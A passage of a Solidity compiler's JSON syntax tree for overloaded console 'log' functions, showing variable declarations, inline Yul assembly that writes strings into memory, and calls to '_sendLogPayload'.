ze":1},{"declaration":41019,"isOffset":false,"isSlot":false,"src":"220820:2:22","valueSize":1},{"declaration":41022,"isOffset":false,"isSlot":false,"src":"220850:2:22","valueSize":1},{"declaration":41025,"isOffset":false,"isSlot":false,"src":"220880:2:22","valueSize":1},{"declaration":41028,"isOffset":false,"isSlot":false,"src":"220910:2:22","valueSize":1},{"declaration":41000,"isOffset":false,"isSlot":false,"src":"221053:2:22","valueSize":1},{"declaration":41002,"isOffset":false,"isSlot":false,"src":"221176:2:22","valueSize":1},{"declaration":41004,"isOffset":false,"isSlot":false,"src":"221113:2:22","valueSize":1},{"declaration":41006,"isOffset":false,"isSlot":false,"src":"221142:2:22","valueSize":1}],"id":41030,"nodeType":"InlineAssembly","src":"220352:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41032,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"221214:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":41033,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"221220:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":41031,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"221198:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41034,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"221198:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41035,"nodeType":"ExpressionStatement","src":"221198:27:22"},{"AST":{"nativeSrc":"221244:214:22","nodeType":"YulBlock","src":"221244:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"221265:4:22","nodeType":"YulLiteral","src":"221265:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"221271:2:22","nodeType":"YulIdentifier","src":"221271:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221258:6:22","nodeType":"YulIdentifier","src":"221258:6:22"},"nativeSrc":"221258:16:22","nodeType":"YulFunctionCall","src":"221258:16:22"},"nativeSrc":"221258:16:22","nodeType":"YulExpressionStatement","src":"221258:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221294:4:22","nodeType":"YulLiteral","src":"221294:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"221300:2:22","nodeType":"YulIdentifier","src":"221300:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221287:6:22","nodeType":"YulIdentifier","src":"221287:6:22"},"nativeSrc":"221287:16:22","nodeType":"YulFunctionCall","src":"221287:16:22"},"nativeSrc":"221287:16:22","nodeType":"YulExpressionStatement","src":"221287:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221323:4:22","nodeType":"YulLiteral","src":"221323:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"221329:2:22","nodeType":"YulIdentifier","src":"221329:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221316:6:22","nodeType":"YulIdentifier","src":"221316:6:22"},"nativeSrc":"221316:16:22","nodeType":"YulFunctionCall","src":"221316:16:22"},"nativeSrc":"221316:16:22","nodeType":"YulExpressionStatement","src":"221316:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221352:4:22","nodeType":"YulLiteral","src":"221352:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"221358:2:22","nodeType":"YulIdentifier","src":"221358:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221345:6:22","nodeType":"YulIdentifier","src":"221345:6:22"},"nativeSrc":"221345:16:22","nodeType":"YulFunctionCall","src":"221345:16:22"},"nativeSrc":"221345:16:22","nodeType":"YulExpressionStatement","src":"221345:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221381:4:22","nodeType":"YulLiteral","src":"221381:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"221387:2:22","nodeType":"YulIdentifier","src":"221387:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221374:6:22","nodeType":"YulIdentifier","src":"221374:6:22"},"nativeSrc":"221374:16:22","nodeType":"YulFunctionCall","src":"221374:16:22"},"nativeSrc":"221374:16:22","nodeType":"YulExpressionStatement","src":"221374:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221410:4:22","nodeType":"YulLiteral","src":"221410:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"221416:2:22","nodeType":"YulIdentifier","src":"221416:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221403:6:22","nodeType":"YulIdentifier","src":"221403:6:22"},"nativeSrc":"221403:16:22","nodeType":"YulFunctionCall","src":"221403:16:22"},"nativeSrc":"221403:16:22","nodeType":"YulExpressionStatement","src":"221403:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"221439:4:22","nodeType":"YulLiteral","src":"221439:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"221445:2:22","nodeType":"YulIdentifier","src":"221445:2:22"}],"functionName":{"name":"mstore","nativeSrc":"221432:6:22","nodeType":"YulIdentifier","src":"221432:6:22"},"nativeSrc":"221432:16:22","nodeType":"YulFunctionCall","src":"221432:16:22"},"nativeSrc":"221432:16:22","nodeType":"YulExpressionStatement","src":"221432:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41010,"isOffset":false,"isSlot":false,"src":"221271:2:22","valueSize":1},{"declaration":41013,"isOffset":false,"isSlot":false,"src":"221300:2:22","valueSize":1},{"declaration":41016,"isOffset":false,"isSlot":false,"src":"221329:2:22","valueSize":1},{"declaration":41019,"isOffset":false,"isSlot":false,"src":"221358:2:22","valueSize":1},{"declaration":41022,"isOffset":false,"isSlot":false,"src":"221387:2:22","valueSize":1},{"declaration":41025,"isOffset":false,"isSlot":false,"src":"221416:2:22","valueSize":1},{"declaration":41028,"isOffset":false,"isSlot":false,"src":"221445:2:22","valueSize":1}],"id":41036,"nodeType":"InlineAssembly","src":"221235:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"220139:3:22","parameters":{"id":41007,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41000,"mutability":"mutable","name":"p0","nameLocation":"220148:2:22","nodeType":"VariableDeclaration","scope":41038,"src":"220143:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40999,"name":"bool","nodeType":"ElementaryTypeName","src":"220143:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41002,"mutability":"mutable","name":"p1","nameLocation":"220160:2:22","nodeType":"VariableDeclaration","scope":41038,"src":"220152:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41001,"name":"bytes32","nodeType":"ElementaryTypeName","src":"220152:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41004,"mutability":"mutable","name":"p2","nameLocation":"220172:2:22","nodeType":"VariableDeclaration","scope":41038,"src":"220164:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41003,"name":"uint256","nodeType":"ElementaryTypeName","src":"220164:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41006,"mutability":"mutable","name":"p3","nameLocation":"220184:2:22","nodeType":"VariableDeclaration","scope":41038,"src":"220176:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41005,"name":"uint256","nodeType":"ElementaryTypeName","src":"220176:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"220142:45:22"},"returnParameters":{"id":41008,"nodeType":"ParameterList","parameters":[],"src":"220202:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41084,"nodeType":"FunctionDefinition","src":"221470:1530:22","nodes":[],"body":{"id":41083,"nodeType":"Block","src":"221542:1458:22","nodes":[],"statements":[{"assignments":[41050],"declarations":[{"constant":false,"id":41050,"mutability":"mutable","name":"m0","nameLocation":"221560:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221552:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41049,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221552:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41051,"nodeType":"VariableDeclarationStatement","src":"221552:10:22"},{"assignments":[41053],"declarations":[{"constant":false,"id":41053,"mutability":"mutable","name":"m1","nameLocation":"221580:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221572:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41052,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221572:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41054,"nodeType":"VariableDeclarationStatement","src":"221572:10:22"},{"assignments":[41056],"declarations":[{"constant":false,"id":41056,"mutability":"mutable","name":"m2","nameLocation":"221600:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221592:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41055,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221592:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41057,"nodeType":"VariableDeclarationStatement","src":"221592:10:22"},{"assignments":[41059],"declarations":[{"constant":false,"id":41059,"mutability":"mutable","name":"m3","nameLocation":"221620:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221612:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41058,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221612:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41060,"nodeType":"VariableDeclarationStatement","src":"221612:10:22"},{"assignments":[41062],"declarations":[{"constant":false,"id":41062,"mutability":"mutable","name":"m4","nameLocation":"221640:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221632:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41061,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221632:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41063,"nodeType":"VariableDeclarationStatement","src":"221632:10:22"},{"assignments":[41065],"declarations":[{"constant":false,"id":41065,"mutability":"mutable","name":"m5","nameLocation":"221660:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221652:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41064,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221652:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41066,"nodeType":"VariableDeclarationStatement","src":"221652:10:22"},{"assignments":[41068],"declarations":[{"constant":false,"id":41068,"mutability":"mutable","name":"m6","nameLocation":"221680:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221672:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41067,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221672:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41069,"nodeType":"VariableDeclarationStatement","src":"221672:10:22"},{"assignments":[41071],"declarations":[{"constant":false,"id":41071,"mutability":"mutable","name":"m7","nameLocation":"221700:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221692:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41070,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221692:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41072,"nodeType":"VariableDeclarationStatement","src":"221692:10:22"},{"assignments":[41074],"declarations":[{"constant":false,"id":41074,"mutability":"mutable","name":"m8","nameLocation":"221720:2:22","nodeType":"VariableDeclaration","scope":41083,"src":"221712:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41073,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221712:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41075,"nodeType":"VariableDeclarationStatement","src":"221712:10:22"},{"AST":{"nativeSrc":"221741:924:22","nodeType":"YulBlock","src":"221741:924:22","statements":[{"body":{"nativeSrc":"221784:313:22","nodeType":"YulBlock","src":"221784:313:22","statements":[{"nativeSrc":"221802:15:22","nodeType":"YulVariableDeclaration","src":"221802:15:22","value":{"kind":"number","nativeSrc":"221816:1:22","nodeType":"YulLiteral","src":"221816:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"221806:6:22","nodeType":"YulTypedName","src":"221806:6:22","type":""}]},{"body":{"nativeSrc":"221887:40:22","nodeType":"YulBlock","src":"221887:40:22","statements":[{"body":{"nativeSrc":"221916:9:22","nodeType":"YulBlock","src":"221916:9:22","statements":[{"nativeSrc":"221918:5:22","nodeType":"YulBreak","src":"221918:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"221904:6:22","nodeType":"YulIdentifier","src":"221904:6:22"},{"name":"w","nativeSrc":"221912:1:22","nodeType":"YulIdentifier","src":"221912:1:22"}],"functionName":{"name":"byte","nativeSrc":"221899:4:22","nodeType":"YulIdentifier","src":"221899:4:22"},"nativeSrc":"221899:15:22","nodeType":"YulFunctionCall","src":"221899:15:22"}],"functionName":{"name":"iszero","nativeSrc":"221892:6:22","nodeType":"YulIdentifier","src":"221892:6:22"},"nativeSrc":"221892:23:22","nodeType":"YulFunctionCall","src":"221892:23:22"},"nativeSrc":"221889:36:22","nodeType":"YulIf","src":"221889:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"221844:6:22","nodeType":"YulIdentifier","src":"221844:6:22"},{"kind":"number","nativeSrc":"221852:4:22","nodeType":"YulLiteral","src":"221852:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"221841:2:22","nodeType":"YulIdentifier","src":"221841:2:22"},"nativeSrc":"221841:16:22","nodeType":"YulFunctionCall","src":"221841:16:22"},"nativeSrc":"221834:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"221858:28:22","nodeType":"YulBlock","src":"221858:28:22","statements":[{"nativeSrc":"221860:24:22","nodeType":"YulAssignment","src":"221860:24:22","value":{"arguments":[{"name":"length","nativeSrc":"221874:6:22","nodeType":"YulIdentifier","src":"221874:6:22"},{"kind":"number","nativeSrc":"221882:1:22","nodeType":"YulLiteral","src":"221882:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"221870:3:22","nodeType":"YulIdentifier","src":"221870:3:22"},"nativeSrc":"221870:14:22","nodeType":"YulFunctionCall","src":"221870:14:22"},"variableNames":[{"name":"length","nativeSrc":"221860:6:22","nodeType":"YulIdentifier","src":"221860:6:22"}]}]},"pre":{"nativeSrc":"221838:2:22","nodeType":"YulBlock","src":"221838:2:22","statements":[]},"src":"221834:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"221951:3:22","nodeType":"YulIdentifier","src":"221951:3:22"},{"name":"length","nativeSrc":"221956:6:22","nodeType":"YulIdentifier","src":"221956:6:22"}],"functionName":{"name":"mstore","nativeSrc":"221944:6:22","nodeType":"YulIdentifier","src":"221944:6:22"},"nativeSrc":"221944:19:22","nodeType":"YulFunctionCall","src":"221944:19:22"},"nativeSrc":"221944:19:22","nodeType":"YulExpressionStatement","src":"221944:19:22"},{"nativeSrc":"221980:37:22","nodeType":"YulVariableDeclaration","src":"221980:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"221997:3:22","nodeType":"YulLiteral","src":"221997:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"222006:1:22","nodeType":"YulLiteral","src":"222006:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"222009:6:22","nodeType":"YulIdentifier","src":"222009:6:22"}],"functionName":{"name":"shl","nativeSrc":"222002:3:22","nodeType":"YulIdentifier","src":"222002:3:22"},"nativeSrc":"222002:14:22","nodeType":"YulFunctionCall","src":"222002:14:22"}],"functionName":{"name":"sub","nativeSrc":"221993:3:22","nodeType":"YulIdentifier","src":"221993:3:22"},"nativeSrc":"221993:24:22","nodeType":"YulFunctionCall","src":"221993:24:22"},"variables":[{"name":"shift","nativeSrc":"221984:5:22","nodeType":"YulTypedName","src":"221984:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"222045:3:22","nodeType":"YulIdentifier","src":"222045:3:22"},{"kind":"number","nativeSrc":"222050:4:22","nodeType":"YulLiteral","src":"222050:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"222041:3:22","nodeType":"YulIdentifier","src":"222041:3:22"},"nativeSrc":"222041:14:22","nodeType":"YulFunctionCall","src":"222041:14:22"},{"arguments":[{"name":"shift","nativeSrc":"222061:5:22","nodeType":"YulIdentifier","src":"222061:5:22"},{"arguments":[{"name":"shift","nativeSrc":"222072:5:22","nodeType":"YulIdentifier","src":"222072:5:22"},{"name":"w","nativeSrc":"222079:1:22","nodeType":"YulIdentifier","src":"222079:1:22"}],"functionName":{"name":"shr","nativeSrc":"222068:3:22","nodeType":"YulIdentifier","src":"222068:3:22"},"nativeSrc":"222068:13:22","nodeType":"YulFunctionCall","src":"222068:13:22"}],"functionName":{"name":"shl","nativeSrc":"222057:3:22","nodeType":"YulIdentifier","src":"222057:3:22"},"nativeSrc":"222057:25:22","nodeType":"YulFunctionCall","src":"222057:25:22"}],"functionName":{"name":"mstore","nativeSrc":"222034:6:22","nodeType":"YulIdentifier","src":"222034:6:22"},"nativeSrc":"222034:49:22","nodeType":"YulFunctionCall","src":"222034:49:22"},"nativeSrc":"222034:49:22","nodeType":"YulExpressionStatement","src":"222034:49:22"}]},"name":"writeString","nativeSrc":"221755:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"221776:3:22","nodeType":"YulTypedName","src":"221776:3:22","type":""},{"name":"w","nativeSrc":"221781:1:22","nodeType":"YulTypedName","src":"221781:1:22","type":""}],"src":"221755:342:22"},{"nativeSrc":"222110:17:22","nodeType":"YulAssignment","src":"222110:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222122:4:22","nodeType":"YulLiteral","src":"222122:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"222116:5:22","nodeType":"YulIdentifier","src":"222116:5:22"},"nativeSrc":"222116:11:22","nodeType":"YulFunctionCall","src":"222116:11:22"},"variableNames":[{"name":"m0","nativeSrc":"222110:2:22","nodeType":"YulIdentifier","src":"222110:2:22"}]},{"nativeSrc":"222140:17:22","nodeType":"YulAssignment","src":"222140:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222152:4:22","nodeType":"YulLiteral","src":"222152:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"222146:5:22","nodeType":"YulIdentifier","src":"222146:5:22"},"nativeSrc":"222146:11:22","nodeType":"YulFunctionCall","src":"222146:11:22"},"variableNames":[{"name":"m1","nativeSrc":"222140:2:22","nodeType":"YulIdentifier","src":"222140:2:22"}]},{"nativeSrc":"222170:17:22","nodeType":"YulAssignment","src":"222170:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222182:4:22","nodeType":"YulLiteral","src":"222182:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"222176:5:22","nodeType":"YulIdentifier","src":"222176:5:22"},"nativeSrc":"222176:11:22","nodeType":"YulFunctionCall","src":"222176:11:22"},"variableNames":[{"name":"m2","nativeSrc":"222170:2:22","nodeType":"YulIdentifier","src":"222170:2:22"}]},{"nativeSrc":"222200:17:22","nodeType":"YulAssignment","src":"222200:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222212:4:22","nodeType":"YulLiteral","src":"222212:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"222206:5:22","nodeType":"YulIdentifier","src":"222206:5:22"},"nativeSrc":"222206:11:22","nodeType":"YulFunctionCall","src":"222206:11:22"},"variableNames":[{"name":"m3","nativeSrc":"222200:2:22","nodeType":"YulIdentifier","src":"222200:2:22"}]},{"nativeSrc":"222230:17:22","nodeType":"YulAssignment","src":"222230:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222242:4:22","nodeType":"YulLiteral","src":"222242:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"222236:5:22","nodeType":"YulIdentifier","src":"222236:5:22"},"nativeSrc":"222236:11:22","nodeType":"YulFunctionCall","src":"222236:11:22"},"variableNames":[{"name":"m4","nativeSrc":"222230:2:22","nodeType":"YulIdentifier","src":"222230:2:22"}]},{"nativeSrc":"222260:17:22","nodeType":"YulAssignment","src":"222260:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222272:4:22","nodeType":"YulLiteral","src":"222272:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"222266:5:22","nodeType":"YulIdentifier","src":"222266:5:22"},"nativeSrc":"222266:11:22","nodeType":"YulFunctionCall","src":"222266:11:22"},"variableNames":[{"name":"m5","nativeSrc":"222260:2:22","nodeType":"YulIdentifier","src":"222260:2:22"}]},{"nativeSrc":"222290:17:22","nodeType":"YulAssignment","src":"222290:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222302:4:22","nodeType":"YulLiteral","src":"222302:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"222296:5:22","nodeType":"YulIdentifier","src":"222296:5:22"},"nativeSrc":"222296:11:22","nodeType":"YulFunctionCall","src":"222296:11:22"},"variableNames":[{"name":"m6","nativeSrc":"222290:2:22","nodeType":"YulIdentifier","src":"222290:2:22"}]},{"nativeSrc":"222320:17:22","nodeType":"YulAssignment","src":"222320:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"222332:4:22","nodeType":"YulLiteral","src":"222332:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"222326:5:22","nodeType":"YulIdentifier","src":"222326:5:22"},"nativeSrc":"222326:11:22","nodeType":"YulFunctionCall","src":"222326:11:22"},"variableNames":[{"name":"m7","nativeSrc":"222320:2:22","nodeType":"YulIdentifier","src":"222320:2:22"}]},{"nativeSrc":"222350:18:22","nodeType":"YulAssignment","src":"222350:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"222362:5:22","nodeType":"YulLiteral","src":"222362:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"222356:5:22","nodeType":"YulIdentifier","src":"222356:5:22"},"nativeSrc":"222356:12:22","nodeType":"YulFunctionCall","src":"222356:12:22"},"variableNames":[{"name":"m8","nativeSrc":"222350:2:22","nodeType":"YulIdentifier","src":"222350:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222450:4:22","nodeType":"YulLiteral","src":"222450:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"222456:10:22","nodeType":"YulLiteral","src":"222456:10:22","type":"","value":"0x1ad96de6"}],"functionName":{"name":"mstore","nativeSrc":"222443:6:22","nodeType":"YulIdentifier","src":"222443:6:22"},"nativeSrc":"222443:24:22","nodeType":"YulFunctionCall","src":"222443:24:22"},"nativeSrc":"222443:24:22","nodeType":"YulExpressionStatement","src":"222443:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222487:4:22","nodeType":"YulLiteral","src":"222487:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"222493:2:22","nodeType":"YulIdentifier","src":"222493:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222480:6:22","nodeType":"YulIdentifier","src":"222480:6:22"},"nativeSrc":"222480:16:22","nodeType":"YulFunctionCall","src":"222480:16:22"},"nativeSrc":"222480:16:22","nodeType":"YulExpressionStatement","src":"222480:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222516:4:22","nodeType":"YulLiteral","src":"222516:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"222522:4:22","nodeType":"YulLiteral","src":"222522:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"222509:6:22","nodeType":"YulIdentifier","src":"222509:6:22"},"nativeSrc":"222509:18:22","nodeType":"YulFunctionCall","src":"222509:18:22"},"nativeSrc":"222509:18:22","nodeType":"YulExpressionStatement","src":"222509:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222547:4:22","nodeType":"YulLiteral","src":"222547:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"222553:2:22","nodeType":"YulIdentifier","src":"222553:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222540:6:22","nodeType":"YulIdentifier","src":"222540:6:22"},"nativeSrc":"222540:16:22","nodeType":"YulFunctionCall","src":"222540:16:22"},"nativeSrc":"222540:16:22","nodeType":"YulExpressionStatement","src":"222540:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222576:4:22","nodeType":"YulLiteral","src":"222576:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"222582:4:22","nodeType":"YulLiteral","src":"222582:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"222569:6:22","nodeType":"YulIdentifier","src":"222569:6:22"},"nativeSrc":"222569:18:22","nodeType":"YulFunctionCall","src":"222569:18:22"},"nativeSrc":"222569:18:22","nodeType":"YulExpressionStatement","src":"222569:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222612:4:22","nodeType":"YulLiteral","src":"222612:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"222618:2:22","nodeType":"YulIdentifier","src":"222618:2:22"}],"functionName":{"name":"writeString","nativeSrc":"222600:11:22","nodeType":"YulIdentifier","src":"222600:11:22"},"nativeSrc":"222600:21:22","nodeType":"YulFunctionCall","src":"222600:21:22"},"nativeSrc":"222600:21:22","nodeType":"YulExpressionStatement","src":"222600:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222646:4:22","nodeType":"YulLiteral","src":"222646:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"222652:2:22","nodeType":"YulIdentifier","src":"222652:2:22"}],"functionName":{"name":"writeString","nativeSrc":"222634:11:22","nodeType":"YulIdentifier","src":"222634:11:22"},"nativeSrc":"222634:21:22","nodeType":"YulFunctionCall","src":"222634:21:22"},"nativeSrc":"222634:21:22","nodeType":"YulExpressionStatement","src":"222634:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41050,"isOffset":false,"isSlot":false,"src":"222110:2:22","valueSize":1},{"declaration":41053,"isOffset":false,"isSlot":false,"src":"222140:2:22","valueSize":1},{"declaration":41056,"isOffset":false,"isSlot":false,"src":"222170:2:22","valueSize":1},{"declaration":41059,"isOffset":false,"isSlot":false,"src":"222200:2:22","valueSize":1},{"declaration":41062,"isOffset":false,"isSlot":false,"src":"222230:2:22","valueSize":1},{"declaration":41065,"isOffset":false,"isSlot":false,"src":"222260:2:22","valueSize":1},{"declaration":41068,"isOffset":false,"isSlot":false,"src":"222290:2:22","valueSize":1},{"declaration":41071,"isOffset":false,"isSlot":false,"src":"222320:2:22","valueSize":1},{"declaration":41074,"isOffset":false,"isSlot":false,"src":"222350:2:22","valueSize":1},{"declaration":41040,"isOffset":false,"isSlot":false,"src":"222493:2:22","valueSize":1},{"declaration":41042,"isOffset":false,"isSlot":false,"src":"222618:2:22","valueSize":1},{"declaration":41044,"isOffset":false,"isSlot":false,"src":"222553:2:22","valueSize":1},{"declaration":41046,"isOffset":false,"isSlot":false,"src":"222652:2:22","valueSize":1}],"id":41076,"nodeType":"InlineAssembly","src":"221732:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41078,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"222690:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":41079,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"222696:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 